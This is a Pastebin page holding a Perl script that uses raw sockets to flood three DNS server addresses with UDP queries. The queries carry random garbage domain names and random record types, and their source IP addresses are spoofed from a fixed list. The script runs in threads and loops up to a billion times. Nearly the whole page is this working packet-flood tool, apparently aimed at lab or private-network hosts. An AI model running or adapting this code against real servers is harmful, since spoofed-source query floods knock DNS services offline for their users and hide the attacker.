Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- use strict;
- use Net::RawIP;
- use Net::DNS::Packet;
- use threads;
- use Time::HiRes qw(usleep);
- my @suffix = ('.test.net', '.test.com', '.test.info');
- my @rrtypes = ('A', 'NS', 'CNAME', 'SOA', 'NULL', 'HINFO', 'MX', 'TXT', 'AAAA', 'SRV', 'NSEC', 'SPF');
- my @sips = ("10.0.0.1", "10.1.0.1", "10.2.0.1", "192.168.250.1");
- my $delay = 0.100;
- my $volume = 1;
- my $p1 = async { flood("192.168.1.27"); };
- my $p2 = async { flood("192.168.1.28"); };
- my $p3 = async { flood("192.168.1.30"); };
- my ($prefix,$domain,$rrtype,$dns,$payload,$source,$suffix);
- sub flood {
- my $port = '53';
- my $host = $_[0];
- for(my $i=0;$i<1000000000;$i++) {
- $prefix = join'', map +(0..9,'a'..'z','_','\\','!','*','&','%','.')[rand(43)], 1..rand(20)+2;
- $domain = "." . join'', map +(0..9,'a'..'z','_','\\','!','*','&','%','.')[rand(43)], 1..rand(10)+2;
- $suffix = "." . join'', map +(0..9,'a'..'z','_','\\','!','*','&','%','.')[rand(43)], 1..rand(4);
- $domain = join('',$prefix,$suffix[rand @suffix]);
- $rrtype = $rrtypes[rand @rrtypes];
- $dns = Net::DNS::Packet->new($domain,$rrtype,"IN");
- $dns->header->id(int(rand(65000)));
- $payload = $dns->data;
- #my $source = join'.', map int(rand(256)),1..4;
- my $source = $sips[rand @sips];
- my $udp = new Net::RawIP({
- ip=>{saddr=>$source, daddr=>$host},
- udp=>{source=>$port, dest=>$port, data=>$payload}
- });
- $udp->send($delay,$volume);
- #usleep(200);
- $i++;
- }
- }
- $p1->join();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement